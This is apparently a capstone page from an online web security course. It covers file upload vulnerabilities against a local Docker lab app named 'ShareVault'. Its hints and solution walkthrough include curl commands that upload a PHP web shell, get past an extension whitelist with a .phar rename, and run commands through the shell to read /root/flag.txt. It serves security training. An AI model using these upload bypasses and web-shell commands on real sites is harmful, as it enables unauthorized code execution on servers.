Vulnarex | Elite Cybersecurity Learning Platform

#Capstone Challenge#link

This capstone challenge brings together everything you have learned throughout this course. You will conduct a full-scope file upload assessment against a multi-layered target application. The challenge tests your ability to identify, exploit, and document file upload vulnerabilities in a realistic scenario that mirrors professional penetration testing engagements.

Challenge Scenario

You have been engaged to perform a web application penetration test against a file-sharing platform called 'ShareVault.' The application allows users to upload and share files with other users. Your scope includes the entire application, and you have been provided with a standard user account.

The application has the following features: user registration and login, file upload with sharing, file preview, admin panel (which you should not have access to), and a public API. Your goal is to achieve remote code execution on the server through the file upload functionality.

Challenge Objectives

▪Objective 1: Identify all file upload endpoints in the application
▪Objective 2: Determine the validation mechanisms for each endpoint
▪Objective 3: Bypass the validation and upload a web shell
▪Objective 4: Achieve remote code execution and capture the flag
▪Objective 5: Document your findings in a professional report format

Challenge Setup

Start the challenge environment:

Start the Capstone Challenge Environment

root@vulnarex:~#docker run --rm -it -p 9999:80 vulnarex/file-upload-capstone:latest

Hints (Use Only If Stuck)

If you get stuck, use these hints in order. Try to solve each step on your own before reading the next hint.

callout

Hint 1: The application has three upload endpoints — the main file upload, the avatar upload, and the API upload. Each has different validation. Start by testing each one with a simple PHP web shell and observe the different responses.

callout

Hint 2: The main file upload checks both the file extension AND the Content-Type header. The avatar upload only checks the file extension. The API upload checks the file's magic bytes. You will need a different bypass technique for each.

callout

Hint 3: For the avatar upload, try alternative extensions. For the main upload, try spoofing the Content-Type. For the API upload, try prepending valid image magic bytes to your PHP code. One of these will work.

callout

Hint 4: Once you achieve RCE, the flag is at /root/flag.txt. You may need to check file permissions — the web server runs as www-data, so you might need to find a way to read files owned by root. Check for SUID binaries or readable configuration files that might contain credentials.

Solution Walkthrough

Only read this section after attempting the challenge yourself. The solution demonstrates the complete methodology.

Step 1: Register an account and log in. Explore the application to find all upload endpoints: /upload.php (main), /profile/avatar.php (avatar), and /api/v1/upload (API).

Step 2: Test each endpoint with a basic PHP web shell (shell.php). Observe the responses:

Test Each Upload Endpoint

root@vulnarex:~## Test main upload curl -X POST http://localhost:9999/upload.php -F "file=@shell.php" -b "session=[your_session]" # Response: "Invalid file type. Only images are allowed." # Test avatar upload curl -X POST http://localhost:9999/profile/avatar.php -F "avatar=@shell.php" -b "session=[your_session]" # Response: "Invalid extension. Allowed: jpg, png, gif" # Test API upload curl -X POST http://localhost:9999/api/v1/upload -F "file=@shell.php" -H "Authorization: Bearer [token]" # Response: "File content does not match declared type"

Step 3: The avatar upload only checks the extension. Try alternative PHP extensions:

Bypass Avatar Upload with .phar Extension

root@vulnarex:~#cp shell.php shell.phar curl -X POST http://localhost:9999/profile/avatar.php -F "avatar=@shell.phar" -b "session=[your_session]"

Step 4: Access the uploaded web shell and execute commands:

Execute Commands via Uploaded Web Shell

root@vulnarex:~#curl 'http://localhost:9999/uploads/avatars/8f7e6d5c4b3a.phar?c=whoami' curl 'http://localhost:9999/uploads/avatars/8f7e6d5c4b3a.phar?c=ls%20-la%20/root/' curl 'http://localhost:9999/uploads/avatars/8f7e6d5c4b3a.phar?c=cat%20/root/flag.txt'

Step 5: Document the finding. The avatar upload endpoint had an incomplete whitelist that did not account for the .phar extension. PHP 8.1 on this server is configured to execute .phar files, allowing remote code execution.

challenge BLOCK (★ 100 XP)

Challenge: Identify the Root Cause

Select your proof vectors above

Course Summary

Congratulations on completing the File Upload Vulnerabilities course! You have learned the complete lifecycle of file upload security — from understanding how uploads work at the HTTP level, to identifying and exploiting vulnerabilities using multiple bypass techniques, to implementing comprehensive defenses and writing professional reports.

Here is a summary of the key skills you have mastered:

Skill	Lesson(s)	Proficiency
Understanding file upload mechanics	2	✅ Complete
Identifying attack vectors	3	✅ Complete
Bypassing client-side validation	4	✅ Complete
Bypassing server-side validation	5	✅ Complete
Using Burp Suite for upload testing	6	✅ Complete
Advanced bypass techniques	7	✅ Complete
Framework-specific upload security	8	✅ Complete
Implementing secure upload defenses	9	✅ Complete
Hands-on exploitation methodology	10	✅ Complete
Professional reporting and incident response	11	✅ Complete
Full-scope assessment capability	12	✅ Complete

info

💡 Continue practicing on platforms like HackTheBox, TryHackMe, and PortSwigger Web Academy. File upload vulnerabilities appear in virtually every web application — the more you practice, the faster you will identify them during real engagements.

callout

Remember: with great power comes great responsibility. The skills you have learned in this course are powerful — use them ethically, always with proper authorization, and always to make the digital world more secure. Happy hunting!

quiz BLOCK (★ 50 XP)

You have completed the File Upload Vulnerabilities course. During a real penetration test, you encounter a file upload form that appears to have robust validation — it checks the extension, Content-Type, magic bytes, and even recompiles images. What should you do next?

Select your proof vectors above

Capstone Challenge: Full-Scope File Upload Assessment

#Capstone Challenge#link

Challenge Scenario

Challenge Objectives

Challenge Setup

Hints (Use Only If Stuck)

Solution Walkthrough

Challenge: Identify the Root Cause

Course Summary

You have completed the File Upload Vulnerabilities course. During a real penetration test, you encounter a file upload form that appears to have robust validation — it checks the extension, Content-Type, magic bytes, and even recompiles images. What should you do next?

Verification Proof Checkpoint